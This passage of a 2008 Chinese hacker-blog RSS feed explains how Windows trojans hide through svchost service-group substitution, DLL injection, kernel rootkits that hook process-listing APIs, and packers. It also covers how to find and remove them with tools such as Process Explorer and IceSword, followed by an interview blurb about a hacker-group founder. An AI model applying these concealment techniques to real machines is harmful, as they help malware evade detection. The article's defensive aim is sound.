LL组件之一，为了提高隐蔽性，病毒作者甚至直接替换系统里某些不太重要而默认开启的服务加载代码，如“Distributed&nbsp;Link&nbsp;Tracking&nbsp;Client”，其默认的启动命令是“svchost&nbsp;-k&nbsp;netsvcs”，如果有个病毒替换了启动命令为自己建立的分组“netsvsc”，即“svchost&nbsp;-k&nbsp;netsvsc”，在这种旁门左道加社会工程学的攻势下，即使是具备一般查毒经验的用户也难以在第一时间内察觉到问题出自服务项，于是病毒得以成功逃离各种查杀。<BR><BR>目前被发现使用此方法的木马已经出现，其中一个进程名为“AD1.exe”的广告程序就是典型例子，它通过替换“Distributed&nbsp;Link&nbsp;Tracking&nbsp;Client”服务的svchost启动项来躲过一般的手工查杀，同时它自身还是个病毒下载器，一旦系统感染了这个恶意程序，各种木马都有可能光临你的机器。<BR>要清理DLL木马，用户需要借助于Sysinternals出品的第三方进程管理工具“Process&nbsp;Explorer”，利用它的“Find&nbsp;Handle&nbsp;or&nbsp;DLL”功能，能迅速搜索到某个DLL依附的进程信息并终结，让DLL失去载体后就能成功删除，而DLL木马的文件名为了避免和系统DLL发生冲突，一般不会起得太专业，甚至有“safaf.dll”、“est.dll”这样的命名出现，或者在某些系统下根本不会出现的文件名，如“kernel.dll”、“rundll32.dll”等。除了使用“Process&nbsp;Explorer”查找并终止进程以外，还可以用IceSword强行卸载某个进程里的DLL模块来达到效果。<BR>&nbsp;<BR>对于服务性质的DLL，我们仍然使用“Process&nbsp;Explorer”进行查杀，由于它的层次结构，用户可以很直观的看到进程的启动联系，如果一台机器感染了杀不掉的顽固木马，有经验的用户做的第一件事情就是禁止掉不相关或者不重要的程序和服务在开机时运行，然后使用“Process&nbsp;Explorer”观察各个进程的情况，通过svchost.exe启动的DLL木马虽然狡猾，但是它释放出EXE文件运行时，一切都暴露了：一个svchost.exe服务进程执行了一个AD1.exe，还有比这更明显的吗？<BR>Svchost的分组信息位于注册表的“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows&nbsp;NTCurrentVersionSvchost”项目，这是svchost加载DLL时的分组依据，如果用户发现了一个奇怪的分组信息，那就要提高警惕了。<BR><BR>隐藏技术发展的颠峰：Rootkit木马<BR>随着安全技术的发展和计算机用户群的技术提高，一般的木马后门越来越难生存，于是一部分有能力的后门作者把眼光投向了系统底层——Ring&nbsp;0。位于Ring&nbsp;0层的是系统核心模块和各种驱动程序模块，所以位于这一层的木马也是以驱动的形式生存的，而不是一般的EXE。后门作者把后门写成符合WDM规范（Windows&nbsp;Driver&nbsp;Model）的驱动程序模块，把自身添加进注册表的驱动程序加载入口，便实现了“无启动项”运行。一般的进程查看器都只能枚举可执行文件EXE的信息，所以通过驱动模块和执行文件结合的后门程序便得以生存下来，由于它运行在Ring&nbsp;0级别，拥有与系统核心同等级的权限，因此它可以更轻易的把自己隐藏起来，无论是进程信息还是文件体，甚至通讯的端口和流量也能被隐藏起来，在如此强大的隐藏技术面前，无论是任务管理器还是系统配置实用程序，甚至系统自带的注册表工具都失去了效果，这种木马，就是让人问之色变的Rootkit。<BR>要了解Rootkit木马的原理，就必须从系统原理说起，我们知道，操作系统是由内核（Kernel）和外壳（Shell）两部分组成的，内核负责一切实际的工作，包括CPU任务调度、内存分配管理、设备管理、文件操作等，外壳是基于内核提供的交互功能而存在的界面，它负责指令传递和解释。由于内核和外壳负责的任务不同，它们的处理环境也不同，因此处理器提供了多个不同的处理环境，把它们称为运行级别（Ring），Ring让程序指令能访问的计算机资源依次逐级递减，目的在于保护计算机遭受意外损害——内核运行于Ring&nbsp;0级别，拥有最完全最底层的管理功能，而到了外壳部分，它只能拥有Ring&nbsp;3级别，这个级别能操作的功能极少，几乎所有指令都需要传递给内核来决定能否执行，一旦发现有可能对系统造成破坏的指令传递（例如超越指定范围的内存读写），内核便返回一个“非法越权”标志，发送这个指令的程序就有可能被终止运行，这就是大部分常见的“非法操作”的由来，这样做的目的是为了保护计算机免遭破坏，如果外壳和内核的运行级别一样，用户一个不经意的点击都有可能破坏整个系统。<BR>由于Ring的存在，除了由系统内核加载的程序以外，由外壳调用执行的一般程序都只能运行在Ring&nbsp;3级别，也就是说，它们的操作指令全部依赖于内核授权的功能，一般的进程查看工具和杀毒软件也不例外，由于这层机制的存在，我们能看到的进程其实是内核“看到”并通过相关接口指令（还记得API吗？）反馈到应用程序的，这样就不可避免的存在一条数据通道，虽然在一般情况下它是难以被篡改的，但是不能避免意外的发生，Rootkit正是“制造”这种意外的程序。简单的说，Rootkit实质是一种“越权执行”的应用程序，它设法让自己达到和内核一样的运行级别，甚至进入内核空间，这样它就拥有了和内核一样的访问权限，因而可以对内核指令进行修改，最常见的是修改内核枚举进程的API，让它们返回的数据始终“遗漏”Rootkit自身进程的信息，一般的进程工具自然就“看”不到Rootkit了。更高级的Rootkit还篡改更多API，这样，用户就看不到进程（进程API被拦截），看不到文件（文件读写API被拦截），看不到被打开的端口（网络组件Sock&nbsp;API被拦截），更拦截不到相关的网络数据包（网络组件NDIS&nbsp;API被拦截）了，我们使用的系统是在内核功能支持下运作的，如果内核变得不可信任了，依赖它运行的程序还能信任吗？<BR>但即使是Rootkit这一类恐怖的寄生虫，它们也并非所向无敌的，要知道，既然Rootkit是利用内核和Ring&nbsp;0配合的欺骗，那么我们同样也能使用可以“越权”的检查程序，绕过API提供的数据，直接从内核领域里读取进程列表，因为所有进程在这里都不可能把自己隐藏，除非它已经不想运行了。也就是说，内核始终拥有最真实的进程列表和主宰权，只要能读取这个原始的进程列表，再和进程API枚举的进程列表对比，便能发现Rootkit进程，由于这类工具也“越权”了，因而对Rootkit进行查杀也就不再是难事，而Rootkit进程一旦被清除，它隐藏自身的措施也就不复存在，内核就能把它“供”出来了，用户会突然发现那个一直“找不到”的Rootkit程序文件已经老实的呆在文件管理器的视图里了。这类工具现在已经很多，例如IceSword、Patchfinder、gdb等。<BR>道高一尺，魔高一丈，因为目前的主流Rootkit检测工具已经能检测出许多Rootkit木马的存在，因此一部分Rootkit作者转而研究Rootkit检测工具的运行检测算法机制，从而制作出新一代更难被检测到的木马——FUTO&nbsp;Rootkit。<BR>国产优秀检测工具IceSword在FUTO面前败下阵来，因为FUTO编写者研究的检测工具原型就是一款与之类似的Black&nbsp;&amp;&nbsp;Light，所以我们只能换用另一款Rootkit检测工具DarkSpy，并开启“强力模式”，方可正常查杀Rootkit。<BR>但是由于检测机制的变化，DarkSpy要检测到FUTO的存在，就必须保证自己的驱动比FUTO提前加载运行，这就涉及到优先级的问题，也是让业界感觉不太满意的一种方式，因为这样做的后果会导致系统运行效率下降，不到紧急关头，都不要轻易采用这种方法，然而现在的瑞星卡卡助手所推广的“破甲”技术，实现原理是与之类似的，它也会对系统造成一定影响，因而，这个介于安全和效率之间的选择，唯有留给用户自己思考了。<BR><BR>另一种隐藏：给自己做个“壳”<BR>今年底，国内杀毒软件厂商瑞星推出了2007测试版，细心的用户应该都能观察到，瑞星这次更新的重点基本在于“脱壳技术”，这个“壳”是什么，为什么厂商那么重视呢？<BR>“壳”（Shell），顾名思义，就是一种包裹容器，在计算机方面，它指一种把应用程序压缩精简或者加密处理后用自身代码形成一个新程序的技术，“壳”在运行时将自身包裹的程序资源释放到内存中执行，就恢复了原来程序的面目，由于“壳”的初衷就是加密和精简程序文件的体积，因此许多杀毒软件其实根本无法检测出一个加了壳的病毒，因为针对“壳”而产生的脱壳技术相对复杂，如何完善的检测出大部分被“壳”处理过的病毒一直是业界的难题，利用这一特点，一部分病毒利用“壳”把自身包裹起来，因为杀毒软件对其无能为力，病毒便能先发制人，把杀毒软件消灭以后才释放真实的病毒文件运行感染，这种明目张胆的隐藏可谓恶毒。<BR>由于各种原因，我们只能等待杀毒厂商提供一套完善的解决方案，因为手工脱壳对于一般用户来说是非常不实际的。<BR><BR>&lt;大杂烩：混合型木马<BR>“灰鸽子”，国内一款优秀的远程控制工具，同时也是危害广大用户的木马病毒，它是目前主流的一种结合了Rootkit驱动、远程线程注射的混合型DLL木马，它将两个技术整合起来，最终形成了这种在正常模式下无法发现进程和文件的强大后门。<BR>针对此类病毒，用户需要结合IceSword和Process&nbsp;Explorer等工具发现被篡改的SSDT和木马DLL文件，而后进入安全模式删除。现在已经有流氓软件掌握了高优先级启动方法，使得其在安全模式下也能正常运作，如果遭遇这种恶劣病毒，用户只能求助于DOS了。<BR>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:15:00</pubDate>
</item>
<item>
<title><![CDATA[黑客教父万涛：中外黑客PK完全没问题]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624231242.shtml</link>
<description><![CDATA[<SPAN id=fontzoom>&nbsp;
<P id=fp>最近，TOM科技“互联网红色记忆”栏目专访了素有中国“黑客教父”之称的万涛。<BR><IMG onmouseover="this.style.cursor='hand';" style="CURSOR: hand" onclick=window.open(this.src); height=251 alt=按此在新窗口打开图片 src="http://image.techweb.com.cn/h000/h61/img200706191519270.jpg" width=400 onload=javascript:DrawImage(this); border=0><BR><BR>　　在这次访谈中，万涛回忆了01年中美黑客大战及鹰派联盟成立时鲜为人知的故事；同时谈到了中外黑客在技术方面的差距等问题。本视频为这次访谈中的片段节选。<BR><BR>万涛其人：<BR><BR>　　万涛，中国鹰派联盟网的主要缔造者和领导人。江西南昌人。<BR><BR>　　1971年5月5日生于一个普通铁路职工家庭。<BR>　　1989～1993年，在北京北方交通大学求学。毕业前夕从事计算机病毒制造和软件破解行业。<BR>　　1998年印尼排华暴乱事件前后接触和接受黑客文化。<BR>　　2000年，在广州创建中国鹰派联盟网的前身：中国鹰派俱乐部。<BR>　　2001年5月，与红客联盟等团体共同参与组织中美黑客大战，后任中国鹰派联盟网站长，参与领导广州等地网友的网络爱国运动。<BR>　　2005年参与创建主编《中国安全文化周刊》。<BR>　　2006年5月，任鹰缘网首席执行官。<BR>　　2000年5与至2006年春，先后发表《&nbsp;班门弄斧：中国鹰派点评阿扁演讲》、《营造有中国特色黑客文化》等著作，指出信息时代营造中国特色黑客文化问题在中国信息安全产业中的重要地位和正确看待民族主义思潮在复兴中华文化理想中的重要性，批评了精英治国和信息霸权的的思想谬误。<BR><BR><BR>关于鹰派联盟：<BR><BR>　　中国鹰派联盟网成立于2001年5月8日，是一个由一群活跃在互联网的年轻人发起的，以网络为活动舞台的民间非营利公益性社团。鹰盟网先后发起、组织并参与了网络与爱国主义教育课题研究、网络安全教育与维权等系列志愿者项目，国内外新闻媒体均有报道，在业界影响深远。鹰盟网志愿者通过身体力行的努力，为营造和发展信息网络时代的安全文化与文化安全做出了自己的贡献。<BR><BR><BR>
<SCRIPT type=text/javascript>window.attachEvent("onload",function (){UBBShowObj('wmv','OBJ_5722','http://www.techweb.com.cn/video/20070619eagle.wmv','550','400');})</SCRIPT>

<DIV class=code_head><INPUT id=VOBJ_5722 type=hidden value=0><A href="http://www.hblog.net/javascript:UBBShowObj('wmv','OBJ_5722','http://www.techweb.com.cn/video/20070619eagle.wmv','550','400');"><IMG alt=显示影音文件 src="http://www.xwind.cn/images/icon_media.gif" align=absMiddle border=0> 点击显示/隐藏影音文件</A></DIV>
<DIV class=code_main id=OBJ_5722>
<OBJECT height=400 width=550 classid=CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95></OBJECT></DIV></SPAN>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:12:00</pubDate>
</item>

</channel>
</rss>